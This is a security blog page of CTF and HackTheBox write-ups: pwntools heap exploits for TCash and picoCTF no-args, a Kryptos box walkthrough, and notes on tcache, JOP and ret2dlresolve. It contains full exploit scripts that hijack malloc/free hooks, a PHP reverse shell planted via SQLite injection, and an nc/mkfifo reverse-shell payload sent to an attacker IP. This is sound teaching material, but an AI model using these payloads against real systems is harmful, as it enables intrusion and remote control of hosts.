Search This Blog

Sunday, September 29, 2019

CUCTF 2019 TCash Writeup

Thanks to Nick for sending me CUCTF 2019's TCash challenge.  It's a cool little tcache poisoning challenge!  Anyways, let's take a look at the binary.

Basically, it's about the TCash Ledger Wallet.  You can create entries, edit the address, description, and amount, and delete entries.  You can display ledgers and the edit functions all use read().  Lastly, here is where the bug is.  Basically, in each entry, the binary stores metadata about the size of each part of the ledger and also pointers to the data.  However, upon freeing, it does not set the data to null. Also, the binary is running on an Ubuntu Bionic server, so libc version 2.27 probably.

With TCache on 2.27, exploitation is very trivial.  I can directly double free by freeing the same pointer in a row and there is no size check in tcache as of this libc version.  Make sure only one part of the data in each ledger is the same size for simplicity's sake. We can then edit a double freed chunk to have its next pointer point to free hook (no size check means we can have it return chunks anywhere without the 0x7f byte misalignment).  Overwrite free hook with system and then call it on a chunk with the string "/bin/sh\x00\x00" and the binary will be pwned; it can work if it's Full RELRO or PIE even.  Last thing... what about the libc leak?  Well, we can allocate items of size greater than maximum tcache size.  Free that chunk and it goes into unsorted.  Then, displaying it will leak pointers to offsets from the main arena, which will allow us to calculate libc base.  Here's the final exploit:
from pwn import *

binary = ELF('./tcash')
libc = ELF('./libc-2.27.so')
#context.log_level = 'debug'
time = 0.1
remote = ssh(host='10.0.2.5', user='will', password='123456789')
remote.set_working_directory('/home/will/tcash')
context(arch='amd64')
p = remote.process('./tcash')

def alloc(index, addr_size, desc_size, amount_size):
p.recvrepeat(time)
p.sendline('Create Entry')
p.recvrepeat(time)
p.sendline(str(index))
p.recvrepeat(time)
p.sendline(str(addr_size))
p.recvrepeat(time)
p.sendline(str(desc_size))
p.recvrepeat(time)
p.sendline(str(amount_size))

def edit(index, whichOne, data):
p.recvrepeat(time)
p.sendline(whichOne)
p.recvrepeat(time)
p.sendline(str(index))
p.recvrepeat(time)
p.sendline(data)

def delete(index):
p.recvrepeat(time)
p.sendline('Delete Entry')
p.recvrepeat(time)
p.sendline(str(index))

def leak(index):
p.recvrepeat(time)
p.sendline('Display Entry')
p.recvrepeat(time)
p.sendline(str(index))

alloc(0, 0x500, 0x10, 0x10)
#edit(0, 'Edit Address', 'A' * 0x50) #for debugging purposes
delete(0)
#p.interactive()
#<main_arena+96> is the leaked offset to main arena
#[+]main_arena_offset : 0x3ebc40
#00000000003ed8e8 <__free_hook@@GLIBC_2.2.5>:
leak(0)
libcLeak = u64((p.recvuntil('Description:').split('\n')[0].split('ress: ')[1]).ljust(8, '\x00'))
log.info('Leaked Libc Address: ' + hex(libcLeak))
libc.address = libcLeak - 0x3ebc40 - 96
log.info('Libc Base: ' + hex(libc.address))
log.info('Free Hook: ' + hex(libc.address + 0x3ed8e8))
log.info('System: ' + hex(libc.symbols['system']))
alloc(0, 0x80, 0x10, 0x10)
edit(0, 'Edit Address', 'A' * 0x50)
delete(0)
delete(0)
alloc(0, 0x80, 0x10, 0x10)
edit(0, 'Edit Address', p64(libc.address + 0x3ed8e8)) #forge fd now
alloc(1, 0x80, 0x10, 0x10)
alloc(2, 0x80, 0x10, 0x10) #get malicious chunk back now
edit(2, 'Edit Address', p64(libc.symbols['system'])) #overwrite free hook with system
edit(1, 'Edit Address', '/bin/sh\x00\x00') #for free hook, which is now system
delete(1)
p.interactive()
Cool challenge, Nick!

Tuesday, September 24, 2019

No-Args PicoCTF 2018 Writeup

PicoCTF 2019 is right around the corner, so I decided to go back and solve some of the problems I was unable to solve last year.  Out of those unsolved problems, no-args was one I was very intent on solving; it was last year's final problem, and of course, was related to binary exploitation.  I originally tried to solve it based on 0n3m4ns4rmy's writeup several months ago, but had absolutely no idea what to do back then.  This time around, I managed to solve it!  Thanks to nek0nyaa by the way for providing me some tips when I got stuck.  Anyways, let's begin!  Make sure to debug on Xenial Xerus!

After playing around with the program for a while, here are a few things to note:
struct linked_list_node {
  char *problem_name;
  struct linked_list_node *next_ptr;
  uint32_t num_votes;
};

typedef struct linked_list_node problem_t;
problem_t *list;

struct ballot_t {
  char buf[LINE];
  problem_t *curr_problem;
  char votes; //1 byte
};
Those are the structures used in this program.  There is also a state variable that determines whether you can nominate or vote; upon taking certain actions in the program, the state variable changes accordingly to prevent you from taking actions that are higher on the list.  The linked list is located at 0x602028 according to GHIDRA and the state variable is at 0x602020 according to GHIDRA.  The binary is unfortunately Full RELRO, but thankfully has no PIE.  Now... where is the bug?  Since this was the finale pwn, I thought this had to be a heap bug.  In the end, there is a relationship to the heap, but the bug is actually much simpler: a buffer overflow that provides you the ability to perform arbitrary write.  Take a look at the following snippet from the function that allows you to choose a problem to vote for (I apologize for the poor formatting here).

if (!strcasecmp(ballot.buf, "choose")) { //typing choose here is interesting ballot.curr_problem =

find_problem("no-args"); if (ballot.curr_problem) { printf("You can't choose choose because that was last year's master pwn, NO arguments! Would you like to vote for this year's instead?\n> "); 

get_line(ballot.buf, BUF_LEN);//buf is only 32 bytes, but BUF_LEN is 48

 if (!strcasecmp(ballot.buf,"yes") || !strcasecmp(ballot.buf,"y")) { ballot.curr_problem->num_votes += ballot.votes;

Basically, we can overflow into the rest of the struct, including the pointer to the current problem and the following byte, which can give us the ability to write arbitrarily; we can write into that last byte in ballot, which in turn will be added to the "location" of num_votes in the problem object, but can actually be elsewhere cause of the overflow of the pointer.  It is not exactly a write, but more of a addition type of write.  Be careful though as there is an issue between signed and unsigned due to the different way the counts are declared in each struct.  If the leftmost bit you are writing has a one, the computer will provide a sign extension due to arithmetic and write a ton of 0xffs... not an ideal situation for arbitrary write.  How do we resolve this?  It's a simple solution honestly... if your byte to write is greater than 0x7f, first write 0x7f, then write the byte you want to write minus 0x7f.  Simple arithmetic shows that you will still get that original byte written.  Also, as LINE is 32 bytes (buffer size in ballot), the pointer can be overwritten immediately afterwards, and then the one byte.  Here's the function I used to write:
def write(address, data): #give data as packed string, address as int
offset = 0
for i in data:
#0x10 related to struct layout for problem objects, so you actually write in right place
if ord(i) > 0x7f:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + '\x7f')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + chr(ord(i) - 0x7f))
else:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + i)
offset+=1

Now how do we pwn this binary with this arbitrary write?  Let's create two fake problem objects in writeable sections of the binary.  Because of earlier conditions, let us make a fake problem object with the name "no-args" (such a problem is also allocated in the first 8 initial allocations of original problems).  It's next pointer will then point to another fake problem object; let's make its name point to puts@GOT and its next be null.  We also initially nominate another problem, where we make the second 8 bytes be the pointer to a region in bss that contains the pointer to the name of the fake "no-args" and then the fake problem with the GOT pointer.  Why can't we just make the next problem pointer in fake "no-args" just be directly to GOT?  Well if that's the case, the way this program lists problems via the linked list will cause it to think that the next problem is in libc; of course this will leak it when you list choices, but then adjacent to that libc location is another non null address.  It will then think of that as another next problem and its attempt to treat it as such will cause a segfault.  Also regarding the initial nomination; although it will be just a name in the beginning, in order to fake it like a problem object, we need the first 8 bytes to point to a valid location.  However, the first 8 bytes must not contain any nulls; even though get_line uses read, the add_problem function uses strdup.  Where can we find such an address that also points to valid data?  VSyscall.  This region is used to help accelerate syscalls; it also doesn't change in memory addresses.  Here's the procedure above written in python exploit form:
nominate(p64(0xffffffffff6003f0) + p64(0x602040))
write(0x602500, 'no-args')
write(0x602600, p64(binary.got['puts']))
write(0x602040, p64(0x602500) + p64(0x602600))

So now, we have crafted the fake objects nicely.  Now, how do we make the problem link list use our data?  Simple... one byte overwrite on the heap.  I had to nominate another problem before the nomination above for the heap layout to work; otherwise, I would have needed to overwrite 2 bytes, which is not possible to always work without a heap leak.  Then, while debugging, you will notice the offset between the last valid problem in the linked list and the location of your fake problem object (which contains the vsyscall address and then the pointer to the fake 'no-args' problem).  For me, the offset was 0x20 (I needed the linked list to hit the 0x70 but while it was valid, it was stuck at 0x50).  Doing this is simple:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602028 - 0x10) + '\x20')

Afterwards, listing the problem can leak libc address and then calculating libc base becomes trivial.  Now, let's finally pwn this problem.  Note that throughout this process, if I want to nominate again, I need to change the state variable back so that I can nominate; choose problem sets the state as too high of a value at 2.  I simply used our arbitrary write capabilities to change it back to 0 in the following way:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')

Now as for popping shells, I decided to target malloc hook once again.  I chose the following one_gadget in libc 2.23.

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL


Then after overwriting malloc hook in the following manner:

write(libc.address + 0x3c4b10, p64(libc.address + 0xf02a4))

I nominated a new problem so malloc (or magic one gadget now) will be called... I needed to pad my nomination with nulls to satisfy the constraint shown by one_gadget.  Here's the final exploit (no-args actually no longer works on picoCTF servers for some reason, so I could only do it locally... really would have loved this flag honestly):
from pwn import *

binary = ELF('./no-args')
libc = ELF('./libc-2.23.so')
#context.log_level = 'debug'
time = 0.1
remote = ssh(host='10.0.2.4', user='will', password='123456789')
remote.set_working_directory('/home/will/noargs')
context(arch='amd64')
p = remote.process('./no-args')

def wait():
p.recvrepeat(time)

def nominate(problem):
wait()
p.sendline('1')
wait()
p.sendline(problem)

def vote(listProblems, choose, problem='', forChoose =''):
wait()
p.sendline('2')
if listProblems is True:
wait()
p.sendline('y')
temp = p.recvuntil('\nWhich Problem do you want to vote for?').split('\nWhich Problem do you want to vote for?')[0].split('Current Choices\n')[1]
problems = temp.split('  - ')[1:]
for i in range(len(problems)):
problems[i] = problems[i].split('\n' + str(i + 1))[0]
p.sendline() #extra line to get back to prompt
return problems
else:
wait()
p.sendline('n')

if choose is True:
wait()
p.sendline('choose')
wait()
p.sendline(forChoose)
else:
wait()
p.sendline(problem)

def write(address, data): #give data as packed string, address as int
offset = 0
for i in data:
#0x10 related to struct layout for problem objects, so you actually write in right place
if ord(i) > 0x7f:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + '\x7f')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + chr(ord(i) - 0x7f))
else:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + i)
offset+=1

nominate('A'*16)
#p.interactive()
#find all the addresses to write with vmmap, need the first part to be a valid pointer in nomination but has no null bytes
#0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
nominate(p64(0xffffffffff6003f0) + p64(0x602040)) #name is bunch of ffs so keep reading in (no null byte bc strdup in add problem), will fix later, 0x602040 is where fake problem will be
#write no-args somewhere
write(0x602500, 'no-args') #pointer to duplicate of no-args
write(0x602600, p64(binary.got['puts'])) #points to puts@GOT
write(0x602040, p64(0x602500) + p64(0x602600)) #fake problem structure, name and next written, next points to another fake problem with just a name
#make link list use our fake problem
'''
0xfa41d0: 0x0000000000fa41f0 0x0000000000fa4190 <- this was the lowest one in heap before my nomination
0xfa41e0: 0x0000000000000004 0x0000000000000021
0xfa41f0: 0x00736772612d6f6e 0x0000000000000000
0xfa4200: 0x0000000000000000 0x0000000000000021
0xfa4210: 0x0000000000fa4230 0x0000000000fa41d0
0xfa4220: 0x0000000000000002 0x0000000000000021 <-made afterwards
0xfa4230: 0xffffffffffffffff 0x0000000000602040
0xfa4240: 0x0000000000000000 0x0000000000020dc1
'''

#that above won't allow for one byte overwrite, need two byte, requiring heap leak
#so nominate one before too
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602028 - 0x10) + '\x20') #not just overwriting, making it add up to the location 8 bytes before where 0x602040 is referenced on the heap, debug to figure out how to make it work, so one more sort of like object than points there to the fake problem and leak
#time for leaking
temp = vote(listProblems=True, choose=False)[2]
libc.address = u64(temp.ljust(8, '\x00')) - libc.symbols['puts']
log.info('LEAKED LIBC BASE: ' + hex(libc.address))
#00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
log.info('Overwriting malloc hook!')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')
write(libc.address + 0x3c4b10, p64(libc.address + 0xf02a4)) #need to vote again, overwrite other bss variable, at 0x602020, add 0xfe to make 0 again
#p.interactive()
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')
#p.interactive()
log.info('Popping shells!')
nominate('pwn!' + '\x00'*28)
p.interactive()

A wonderful problem overall!  I learned a lot!  Hope all of you enjoy this writeup too!

Saturday, September 21, 2019

Kryptos HacktheBox Writeup


Well, Kryptos finally retired; it was an amazing but very difficult box.  Here is my writeup of it.  We begin with an nmap scan.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Cryptor Login

Nothing too special.  Let's take a look at the webpage.  Capturing a test login request reveals the following:
username=afsd&password=afds&db=cryptor&token=eff837564b9721640501f9f6fbba4779aa8d346c168216790c2d87d7534cb6f7&login=

Seems like the database can be specified.  Watching from wireshark, I noticed that adding host=ip_address:3306 ends up redirecting the database connection to my computer (as port 3306 runs the mysql server).  With Responder3, I edited the config file in examples folder to include MYSQL.  Then I started it with the following command:

sudo python3 Responder3.py -I tun0 -p examples/config.py -4

Then, by editing the request with the host part in Burp, I ended up capturing the creds.

$mysqlna$4141414141414141414141414141414141414141*b25658e4107b15ab804df5d06e47ee40a97f2a53

With rockyou, we get krypt0n1te

From wireshark, we see the user is dbuser.

Interesting... we can probably fake some creds in our own malicious database using their database creds to redirect it.  From wireshark, I also saw that the creds I enter are passed as md5.  My fake user was test:hi.  I took the following steps to configure the malicious database:

1. Make bind address 0.0.0.0 in /etc/mysql/maridadb.conf.d/50-server.cnf and then logon to the database locally as root.

2.  Use the following queries to set up the fake database.
CREATE DATABASE cryptor;
CREATE USER 'dbuser'@'kryptos.htb' IDENTIFIED BY 'krypt0n1te';
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES ON cryptor.* TO 'dbuser'@'kryptos.htb';
USE cryptor;
CREATE TABLE users (username VARCHAR(20), password VARCHAR(50));
let's use INSERT INTO users (username, password) VALUES("test", "49f68a5c8493ec2c0bf489821c21fc3b");

And now you should be able to login after redirecting the connection to our malicious database!

Now we see a screen about cryptography, with an AES-CBC or RC4 option and you can specify a file for encryption (I hosted all my files on python http server).  Don't be like me and waste hours attacking CBC (I did this because I just finished a recent magic padding oracle problem).  RC4 is obviously the way to go.  Basically, the plaintext is xored with a keystream.  Therefore, by simple logic, you can decrypt any file you like.  How?  Well you can access the encrypted result.  If you xor the cipher with the same keystream, you will get the plaintext (duh).  And what is a common php page?  Index.php.  I played around for a while and with dirb, found a /dev directory and tested this out there.  Here is what it had:

<html>
    <head>
    </head>
    <body>
<div class="menu">
    <a href="index.php">Main Page</a>
    <a href="index.php?view=about">About</a>
    <a href="index.php?view=todo">ToDo</a>
</div>
</body>
</html>


Let's check out todo.php.

<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
<br>2) Remove world writable folder which was used for sqlite testing
<br>3) Do the needful
<h3> Done: </h3>
1) Restrict access to /dev
<br>2) Disable dangerous PHP functions

Ooh... several hints!  Now what is sqlite_test_page.php?  Only some html code at first :(
What are some other LFI bypass techniques?  I was using this cheatsheet for LFI and found that the php filter method worked; this method base64 encodes, so you must base64 decode it.  I really should have scripted this LFI like my friends and teammates, but I was feeling lazy that day.  Oh well.  Here's what the test page had after sending http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page

<html>
<head></head>
<body>
<?php
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
   class MyDB extends SQLite3
   {
      function __construct()
      {
// This folder is world writable - to be able to create/modify databases from PHP code
         $this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully\n";
   }
   echo "Query : ".$query."\n";

if (isset($no_results)) {
   $ret = $db->exec($query);
   if($ret==FALSE)
    {
echo "Error : ".$db->lastErrorMsg();
    }
}
else
{
   $ret = $db->query($query);
   while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
      echo "Name = ". $row['name'] . "\n";
   }
   if($ret==FALSE)
    {
echo "Error : ".$db->lastErrorMsg();
    }
   $db->close();
}
}
?>
</body>
</html>

The following things popped out to me:
$query = "SELECT * FROM books WHERE id=".$bookid;
$ret = $db->exec($query);

Obviously, there is a silly sql injection here.  It's using SQlite3 and from this cheatsheet, I found a way to RCE on sqlite by using attach database to create a file and we can specify what is inside the file and then access it (as a php file, that will lead to RCE).  The basic idea is like this:

http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=3; attach database "/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/test.php" as pwn; create table pwn.s (dataz text); insert into pwn.s (dataz) VALUES ('content')

Note that the filename must change everytime for it to work properly and our requests should be URL encoded in Burp (it did not always work in Burp for me, so I let Python send the requests and the following command has the escapes for Python):

http://127.0.0.1/dev/sqlite_test_page.php?no_results=true%26bookid=1%253b%2bATTACH%2bDATABASE%2b\'/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/test31.php\'%2bAS%2btest31%253b%2bCREATE%2bTABLE%2btest31.pwn%2b\(dataz%2btext\)%253b%2bINSERT%2bINTO%2btest31.pwn%2b\(dataz\)%2bVALUES%2b\(\'\<%253fphp%2b\$sock%253dfsockopen\(\"10.10.14.189\",1234\)%253b\$proc%2b%253d%2bproc_open\(\"/bin/sh%2b-i\",%2barray\(0%253d\>\$sock,%2b1%253d\>\$sock,%2b2%253d\>\$sock\),%2b\$pipes\)%253b%2becho%2b\"hello\"%253b%2b%253f\>\'\)

Why was the following reverse shell command used?  Check this post a friend of mine sent; it's related to file descriptors and Apache.  Then, simply accessing the location of that file in dev launches the shell.  However, do note that this rarely worked for me afterwards after my first two tries again... maybe the box was slightly broken and someone who rooted messed with the permissions when I was doing it.  Most others simply used builtin php functions to slowly enumerate the directories, eventually coming upon /home/rijndael/creds.txt.  Downloading this file reveals it is Vim encrypted.  Of course there's more crypto!
The normal Vimcrypt crackers online do not work.  However, a friend provided me with this blogpost.  Basically, vim blowfish used repeating keystreams at one point.  If we know part of the plaintext, we can easily crack this through xor by figuring out the keystream.  The creds.old file had: rijndael / Password1.  It's safe to assume that this encrypted file starts with rjindael so we can retrieve the keystream for the rest of this small file as Vim blowfish does use CFB, but reuses the same IV for the first 8 blocks.  With some scripting, I obtained the following creds (strip the first 28 bytes that contain header, IV, and salt and then treat the rest as 8 byte blocks).

rijndael : bkVBL8Q9HuBSpj

And now, I ssh in and get user!
Now, for priv esc, we see kryptos/kryptos.py.  It runs on localhost port 81.  It has an eval bug when requests are run through /eval, but builtins are stripped.  That's no problem, thanks to this post!  The vulnerable file looked like this:

import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp


def secure_rng(seed):
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()

def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

@route('/', method='GET')
def web_root():
    response = {'response':
                {
                    'Application': 'Kryptos Test Web Server',
                    'Status': 'running'
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

@route('/eval', method='POST')
def evaluate():
    try:
        req_data = request.json
        expr = req_data['expr']
        sig = req_data['sig']
        # Only signed expressions will be evaluated
        if not verify(str.encode(expr), str.encode(sig)):
            return "Bad signature"
        result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
        response = {'response':
                    {
                        'Expression': expr,
                        'Result': str(result)
                    }
                    }
        return json.dumps(response, sort_keys=True, indent=2)
    except:
        return "Error"

# Generate a sample expression and signature for debugging purposes
@route('/debug', method='GET')
def debug():
    expr = '2+2'
    sig = sign(str.encode(expr))
    response = {'response':
                {
                    'Expression': expr,
                    'Signature': sig.decode()
                }
                }
    return json.dumps(response, sort_keys=True, indent=2)

run(host='127.0.0.1', port=81, reloader=True)

I ended up making the following script for it to work and sign RCE commands along with the method to bypass builtins.  I just ripped off the original script and replaced a few parts to bruteforce the signature part:

import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
import os
import sys
#python 3

def secure_rng(seed):
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

debug_hash = sys.argv[1]
debug_expr = '1+2'
discoveredSeed = False
while not discoveredSeed: #bruteforce
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()
if verify(str.encode(debug_expr), str.encode(debug_hash)):
discoveredSeed = True

while True: #put on infinite loop so no need to brute force again
msg = input('RCE for signing: ')
print("Signature: " + sign(str.encode(msg)).decode())

Then I just popped a reverse shell as root with the following curl command after signing.

curl http://127.0.0.1:81/eval -H "Content-Type: application/json" --request POST --data '{"expr": "[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == \"catch_warnings\"][0]()._module.__builtins__[\"__import__\"](\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.13.35 5555 >/tmp/f\")","sig": "07c7e98a1117efa239d70d6523da743e3775405e39dc63e918dc0d16ebbc5fefaf5b988c9d81da52b990a34ea999ace6836db1e1f238555e9c4030e50cdc1cc0f7484b7d7eb9445c76bdbda3b0961eb2bd31375c10b6e8ebe74f18f8d58f38c5"}'

Great box overall!


Thursday, September 19, 2019

Heap Exploitation Part 3 (TCache)

This post will focus on tcachebins, which basically exist in all libc versions past 2.26.  Before 2.29 with its keys system to prevent double frees, I actually consider this bin to make life much easier.

With this new structure, there are 64 of these bins based on increments of 16 bytes, from 24 to 1024 bytes (so it includes much of fastbin and smallbin sizes).  Each bin only holds 7 chunks maximum.  Additionally, chunks can enter tcache if only one chunk from its same fastbin/smallbin list gets returned in malloc.  One interesting thing to note is that tcache bins don't coalesce with top or neighboring chunks; I should have read the source more carefully before thinking that my heap was going insane during debugging.  Now as for exploiting it...

It's like fastbin, but with less security checks!  They don't check if the next chunk is in the free list before allocation has a valid size and their double free mechanism is simpler too!  You can simply free the same chunk twice in a row!  You can see this in action in this file from how2heap.  Lastly, tcache_put also does not have the next size check anymore (which will make House of Spirit much easier).  I personally haven't done a House of Spirit with TCache yet though.

The most common problems I have seen relate to TCache poisoning, which is very similar to a fastbin attack (I talked about it here).  I can simply use the bug I find to overwrite the next pointer and direct it anywhere else for arbitrary write.  I can have it perform GOT overwrite, malloc_hook overwrite, and even free_hook overwrite.  My preference is personally to overwrite free_hook (previously before tcache, an unsorted bin attack would have been necessary to achieve this because there are no nearby misaligned 7fs around free_hook) with system.  This way, I can then call it on a chunk with the string "/bin/sh" in it, without having to deal with the constraints imposed upon us by one gadget. 


Tuesday, September 3, 2019

Jump Oriented Programming and Call Oriented Programming (JOP and PCOP)

Image Credit: Jump-Oriented Programming: A New Class of Code-Reuse Attack

We all know about ROPs... return oriented programming.  But what if programs have stack protections in place, make the stack hard to utilize well, or have some protection mechanism against the heavy amount of returns needed in ROP chains?  Here's where some other neat attacks come in.  I will discuss the basics of JOP chains and very basics of PCOP chains today (it also will serve as notes for me in the future too :) ).  Hopefully, I will research more into these and find even some CTF challenges utilizing these techniques.  It's important to note that in my opinion, these attacks are much more difficult to perform.

In the case of JOP, we make use of jump instructions rather than returns.  Usually, most people describe it in the case of storing many gadgets on the heap (dispatch table) and then using something called a dispatcher gadget to run through the dispatch table. Within this dispatch table, all the gadgets lead to somewhere performing an arbitrary instructions and ends with an instruction that jumps us back to the dispatch gadget (this will be discussed more down below).  Moreover, let us assume we have control over registers r1 and r2 (that hopefully will avoid being affected by the gadgets in the dispatch table).  Our dispatcher gadget should increment r1 by 4 or 8 (depending on the architecture), and then perform the following instruction: jmp [r1].  r1 should originally point to the memory location of the dispatch table (Most papers say that it is on the heap, but it does necessarily have to) while r2 should point to the dispatcher gadget.  Thus, the dispatcher gadget can keep executing the instructions sequentially in the dispatch table, and as I mentioned earlier, each gadget in the table should jump us back to the dispatcher gadget.  How?  Well, ideally, the gadgets in the dispatch table should end in something like: jmp [r2], which brings us back to the dispatcher gadget.  One more thing... we need to get the JOP chain started.  Easy.  Just overwrite the instruction pointer with the dispatcher gadget location.  You can check out this paper for a much more in depth overview of JOP chains.  Apparently, with the help of misalignment or even just searching the libraries in general, the necessary ingredients for JOP chains can be found.  I still think it's much more complex to exploit than a classic ROP though.

This whole ideas about JOP chains got me thinking... you can determine where a call instruction goes to with registers or data you control too sometimes.  What if we swap the Jumps with Calls?  When looking at libc, such gadgets do seem to exist.  After some searching, I came across something called Pure Call Oriented Programming (PCOP).  It's very similar conceptually to JOP chains, but because of its nature, even more difficult to produce a working exploit.  It's still a cool concept nevertheless!

Sunday, September 1, 2019

More about the setup up for a ret2dlresolve attack


I recently wrote a post about 32 bit ret2dlresolve in one of my interesting ROP technique articles.  However, I left out some significant details... after making a challenge about it, here is more information about this insanely cool technique.  Make sure to read that post beforehand for a basic understanding of this leakless technique.
First of all, you will need to find a space to write these fake structures so you can pass malicious indices to __dl_runtime_resolve.  You can choose to write it anywhere (since the binary probably has an overflow, you can easily construct a rop chain to write stuff anywhere): BSS, stack, heap, etc.
Then, you will need to find a few important addresses (if your binary has PIE, then you will need to find a way to leak PIE base first).  Link map is pushed and then dl resolve is called, which is usually right under the .plt section as displayed in objdump, with a pushl and then a jmp instruction.  JMPREL is .rel.plt, SYMTAB is .dynsym, STRTAB is .dynstr.

I usually like to create one big area with all the fake structures, but separating them is also fine.
Here's what the set up should look like:
For the fake Elf32_Rel structure, you should first provide an address of where the retrieved function should be written (same location is fine).  You must be very careful about the next four bytes.  I usually use the following formula:
0x7 | ((locationOfFakeSymtab - symtab) / 16) << 8
Why this formula?  For our attack to work, the lower 8 bits must be 0x7 (R_386_JMP_SLOT).  The high 24 bits helps the binary find the location of the fake symtab.  Then, I do an extra 4 bytes for alighment afterwards.
Now, for our fake Elf32_Sym structure.  First four bytes should contain offset between the string you want the binary to resolve and STRTAB.  Then, it's just padding for the next 12 bytes because of how SYMTAB accesses it.
Also remember to keep a handy system and /bin/sh string around.
After placing these items in memory, now it's time for the actual pwning!
Construct another rop chain, but this time make it call the pushl and jmp instruction part first (to start the resolver).  Place the offset between the fake Elf32_Rel structure and the JMPREL address afterwards.  Then, pad with 4 bytes for a return address (really doesn't matter at this point) and then point it to the location of the bin sh string because of 32 bit calling conventions.  A shell should be popped and the binary will be pwned!